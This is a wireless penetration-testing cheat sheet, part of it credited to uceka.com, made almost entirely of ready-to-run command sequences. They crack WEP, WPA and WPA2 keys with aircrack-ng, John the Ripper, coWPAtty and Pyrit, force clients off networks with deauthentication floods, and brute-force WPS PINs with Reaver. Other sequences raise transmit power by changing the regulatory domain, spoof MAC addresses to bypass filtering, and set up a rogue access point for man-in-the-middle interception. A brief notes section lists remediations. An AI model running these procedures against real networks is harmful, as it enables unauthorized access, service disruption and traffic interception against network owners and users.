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Cheatsheet_WirelessTesting.txt
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Cheatsheet_WirelessTesting.txt
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WPA2 PSK attack with aircrack-ng suite.
---------------------------------------
ifconfig wlan1 # check wireless IFace
sudo airmon-ng check kill # kill issue causing processes
sudo airmon-ng start wlan1 # start monitor mode
sudo airodump-ng wlan1mon # start capturing
sudo airodump-ng --bssid 64:66:B3:6E:B0:8A -c 11 wlan1mon -w output
sudo aireplay-ng --deauth 5 -a 64:66:B3:6E:B0:8A wlan1mon # deauthenticate the client
sudo aircrack-ng output-01.cap dict # crack the passphrase
WPA PSK attack with aircrack-ng suite.
--------------------------------------
Place your wireless card into Monitor Mode
airmon-ng start wlan0
Detect all available wireless AP’s and clients
airodump-ng mon0
Setting adapter channel
iwconfig mon0 channel <channel_number>
Capturing the four-way handshake
airodump-ng --channel <channel_number> --bssid <bssid> --write capture mon0
You can capture the handshake passively (it takes time) or de-authenticate a client.
De-authentication attack
aireplay-ng --deauth 3 -a <BSSID> -c <client_mac> mon0
Deauth every client - aireplay-ng -0 5 -a <bssid> mon0
Dictionary Attack
aircrack-ng -w passwords.lst capture-01.cap
Brute force Attack
crunch 8 8 0123456789 | aircrack-ng -e "Name of Wireless Network" -w - /root/home/wpa2.eapol.cap
WEP attack with aircrack-ng suite.
----------------------------------
Place your wireless card into Monitor Mode
airmon-ng start wlan0
Detect all available wireless AP’s and clients
airodump-ng mon0
Setting adapter channel
iwconfig mon0 channel <channel_number>
airodump-ng -c (channel) -w (file name) --bssid (bssid) (interface)
aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 -e (essid) (interface)
aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 (interface)
aircrack-ng -b (bssid) (file name-01.cap)
Rogue Access Point Testing
--------------------------
# ifconfig wlan0 down
# iw reg set BO
# iwconfig wlan0 txpower 0
# ifconfig wlan0 up
# airmon-ng start wlan0
# airodump-ng --write capture mon0
root@backbox:/home/backbox# ifconfig wlan1 down
root@backbox:/home/backbox# iw reg set BO
root@backbox:/home/backbox# ifconfig wlan1 up
root@backbox:/home/backbox# iwconfig wlan1 channel 13
root@backbox:/home/backbox# iwconfig wlan1 txpower 30
root@backbox:/home/backbox# iwconfig wlan1 rate 11M auto
Reaver
------
airmon-ng start wlan0
airodump-ng wlan0
reaver -i mon0 -b 8D:AE:9D:65:1F:B2 -vv
reaver -i mon0 -b 8D:AE:9D:65:1F:B2 -S --no-nacks -d7 -vv -c 1
Pixie WPS
---------
airmon-ng check
airmon-ng start wlan0
airodump-ng wlan0mon --wps
reaver -i wlan0mon -c 11 -b 00:00:00:00:00:00 -K 1
Wireless Notes
--------------
Wired Equivalent Privacy (WEP)
RC4 stream cipher w/ CRC32 for integrity check
- Attack:
By sniffing an ARP packet, then replaying it to get many encrypted replies with different IVs.
- Remediation:
Use WPA2
Wifi Protected Access (WPA)
Temporal Key Integrity Protocol (TKIP) Message Integrity Check
- Attack:
Uses a four way handshake, and if that handshake can be captured, then a dictionary attack ban be mounted to find the Pairwise Master Key for the Access Point and client Station.
- Remediation:
Use long-keys
Wifi Protected Access 2 (WPA2)
Advanced Encryption Standard (AES)
- Attack:
Uses a four way handshake, and if that handshake can be captured, then a dictionary attack ban be mounted to find the Pairwise Master Key for the Access Point and client Station.
- Remediation:
WPA-Enterprise
----------------------------------------------------------
all credits to @uceka.com for the following section (found below) original work found here https://uceka.com/2014/05/12/wireless-penetration-testing-cheat-sheet/
----------------------------------------------------------
WIRELESS ANTENNA
----------------
Open the Monitor Mode
root@uceka:~# ifconfig wlan0mon down
root@uceka:~# iwconfig wlan0mon mode monitor
root@uceka:~# ifconfig wlan0mon up
Increase Wi-Fi TX Power
root@uceka:~# iw reg set B0
root@uceka:~# iwconfig wlan0 txpower <NmW|NdBm|off|auto>
#txpower is 30 (generally)
#txpower is depends your country, please googling
root@uceka:~# iwconfig
Change WiFi Channel
root@uceka:~# iwconfig wlan0 channel <SetChannel(1-14)>
WEP CRACKING
------------
Method 1 : Fake Authentication Attack
root@uceka:~# airmon-ng start wlan0
root@uceka:~# airodump-ng –c <AP_Channel> --bssid <BSSID> -w <FileName> wlan0mon
#What’s my mac?
root@uceka:~# macchanger --show wlan0mon
root@uceka:~# aireplay-ng -1 0 -a <BSSID> -h <OurMac> -e <ESSID> wlan0mon
root@uceka:~# aireplay-ng -2 –p 0841 –c FF:FF:FF:FF:FF:FF –b <BSSID> -h <OurMac> wlan0mon
root@uceka:~# aircrack-ng –b <BSSID> <PCAP_of_FileName>
Method 2 : ARP Replay Attack
root@uceka:~# airmon-ng start wlan0
root@uceka:~# airodump-ng –c <AP_Channel> --bssid <BSSID> -w <FileName> wlan0mon
#What’s my mac?
root@uceka:~# macchanger --show wlan0mon
root@uceka:~# aireplay-ng -3 –x 1000 –n 1000 –b <BSSID> -h <OurMac> wlan0mon
root@uceka:~# aircrack-ng –b <BSSID> <PCAP_of_FileName>
Method 3 : Chop Chop Attack
root@uceka:~# airmon-ng start wlan0
root@uceka:~# airodump-ng –c <AP_Channel> --bssid <BSSID> -w <FileName> wlan0mon
#What’s my mac?
root@uceka:~# macchanger --show wlan0mon
root@uceka:~# aireplay-ng -1 0 –e <ESSID> -a <BSSID> -h <OurMac> wlan0mon
root@uceka:~# aireplay-ng -4 –b <BSSID> -h <OurMac> wlan0mon
#Press ‘y’ ;
root@uceka:~# packetforge-ng -0 –a <BSSID> -h <OurMac> -k <SourceIP> -l <DestinationIP> -y <XOR_PacketFile> -w <FileName2>
root@uceka:~# aireplay-ng -2 –r <FileName2> wlan0mon
root@uceka:~# aircrack-ng <PCAP_of_FileName>
Method 4 : Fragmentation Attack
root@uceka:~# airmon-ng start wlan0
root@uceka:~# airodump-ng –c <AP_Channel> --bssid <BSSID> -w <FileName> wlan0mon
#What’s my mac?
root@uceka:~# macchanger --show wlan0mon
root@uceka:~# aireplay-ng -1 0 –e <ESSID> -a <BSSID> -h <OurMac> wlan0mon
root@uceka:~# aireplay-ng -5 –b<BSSID> -h < OurMac > wlan0mon
#Press ‘y’ ;
root@uceka:~# packetforge-ng -0 –a <BSSID> -h < OurMac > -k <SourceIP> -l <DestinationIP> -y <XOR_PacketFile> -w <FileName2>
root@uceka:~# aireplay-ng -2 –r <FileName2> wlan0mon
root@uceka:~# aircrack-ng <PCAP_of_FileName>
Method 5 : SKA (Shared Key Authentication) Type Cracking
root@uceka:~# airmon-ng start wlan0
root@uceka:~# airodump-ng –c <AP_Channel> --bssid <BSSID> -w <FileName> wlan0mon
root@uceka:~# aireplay-ng -0 10 –a <BSSID> -c <VictimMac> wlan0mon
root@uceka:~# ifconfig wlan0mon down
root@uceka:~# macchanger –-mac <VictimMac> wlan0mon
root@uceka:~# ifconfig wlan0mon up
root@uceka:~# aireplay-ng -3 –b <BSSID> -h <FakedMac> wlan0mon
root@uceka:~# aireplay-ng –-deauth 1 –a <BSSID> -h <FakedMac> wlan0mon
root@uceka:~# aircrack-ng <PCAP_of_FileName>
WPA / WPA2 CRACKING
-------------------
Method 1 : WPS Attack
root@uceka:~# airmon-ng start wlan0
root@uceka:~# apt-get install reaver
root@uceka:~# wash –i wlan0mon –C
root@uceka:~# reaver –i wlan0mon –b <BSSID> -vv –S
#or, Specific attack
root@uceka:~# reaver –i –c <Channel> -b <BSSID> -p <PinCode> -vv –S
Method 2 : Dictionary Attack
root@uceka:~# airmon-ng start wlan0
root@uceka:~# airodump-ng –c <AP_Channel> --bssid <BSSID> -w <FileName> wlan0mon
root@uceka:~# aireplay-ng -0 1 –a <BSSID> -c <VictimMac> wlan0mon
root@uceka:~# aircrack-ng –w <WordlistFile> -b <BSSID> <Handshaked_PCAP>
Method 3 : Crack with John The Ripper
root@uceka:~# airmon-ng start wlan0
root@uceka:~# airodump-ng –c <Channel> --bssid <BSSID> -w <FileName> wlan0mon
root@uceka:~# aireplay-ng -0 1 –a <BSSID> -c <VictimMac> wlan0mon
root@uceka:~# cd /pentest/passwords/john
root@uceka:~# ./john –wordlist=<Wordlist> --rules –stdout|aircrack-ng -0 –e <ESSID> -w - <PCAP_of_FileName>
Method 4 : Crack with coWPAtty
root@uceka:~# airmon-ng start wlan0
root@uceka:~# airodump-ng –c <Channel> --bssid <BSSID> -w <FileName> wlan0mon
root@uceka:~# aireplay-ng -0 1 –a <BSSID> -c <VictimMac> wlan0mon
root@uceka:~# cowpatty –r <FileName> -f <Wordlist> -2 –s <SSID>
root@uceka:~# genpmk –s <SSID> –f <Wordlist> -d <HashesFileName>
root@uceka:~# cowpatty –r <PCAP_of_FileName> -d <HashesFileName> -2 –s <SSID>
Method 5 : Crack with Pyrit
root@uceka:~# airmon-ng start wlan0
root@uceka:~# airodump-ng –c <Channel> --bssid <BSSID> -w <FileName> wlan0mon
root@uceka:~# aireplay-ng -0 1 –a <BSSID> -c <VictimMac> wlan0mon
root@uceka:~# pyrit –r<PCAP_of_FileName> -b <BSSID> -i <Wordlist> attack_passthrough
root@uceka:~# pyrit –i <Wordlist> import_passwords
root@uceka:~# pyrit –e <ESSID> create_essid
root@uceka:~# pyrit batch
root@uceka:~# pyrit –r <PCAP_of_FileName> attack_db
Method 6 : Precomputed WPA Keys Database Attack
root@uceka:~# airmon-ng start wlan0
root@uceka:~# airodump-ng –c <AP_Channel> --bssid <BSSID> -w <FileName> wlan0mon
root@uceka:~# aireplay-ng -0 1 –a <BSSID> -c <VictimMac> wlan0mon
root@uceka:~# kwrite ESSID.txt
root@uceka:~# airolib-ng NEW_DB --import essid ESSID.txt
root@uceka:~# airolib-ng NEW_DB --import passwd <DictionaryFile>
root@uceka:~# airolib-ng NEW_DB --clean all
root@uceka:~# airolib-ng NEW_DB --stats
root@uceka:~# airolib-ng NEW_DB --batch
root@uceka:~# airolib-ng NEW_DB --verify all
root@uceka:~# aircrack-ng –r NEW_DB <Handshaked_PCAP>
FIND HIDDEN SSID
----------------
root@uceka:~# airmon-ng start wlan0
root@uceka:~# airodump-ng –c <Channel> --bssid <BSSID> wlan0mon
root@uceka:~# aireplay-ng -0 20 –a <BSSID> -c <VictimMac> wlan0mon
##BYPASS MAC FILTERING
root@uceka:~# airmon-ng start wlan0
root@uceka:~# airodump-ng –c <AP_Channel> --bssid <BSSID> -w <FileName> wlan0mon
root@uceka:~# aireplay-ng -0 10 –a <BSSID> -c <VictimMac> wlan0mon
root@uceka:~# ifconfig wlan0mon down
root@uceka:~# macchanger –-mac <VictimMac> wlan0mon
root@uceka:~# ifconfig wlan0mon up
root@uceka:~# aireplay-ng -3 –b <BSSID> -h <FakedMac> wlan0mon
MAN IN THE MIDDLE ATTACK
------------------------
root@uceka:~# airmon-ng start wlan0
root@uceka:~# airbase-ng –e “<FakeBSSID>” wlan0mon
root@uceka:~# brctl addbr <VariableName>
root@uceka:~# brctl addif <VariableName> wlan0mon
root@uceka:~# brctl addif <VariableName> at0
root@uceka:~# ifconfig eth0 0.0.0.0 up
root@uceka:~# ifconfig at0 0.0.0.0 up
root@uceka:~# ifconfig <VariableName> up
root@uceka:~# aireplay-ng –deauth 0 –a <victimBSSID> wlan0mon
root@uceka:~# dhclient3 <VariableName> &
root@uceka:~# wireshark &
;select <VariableName> interface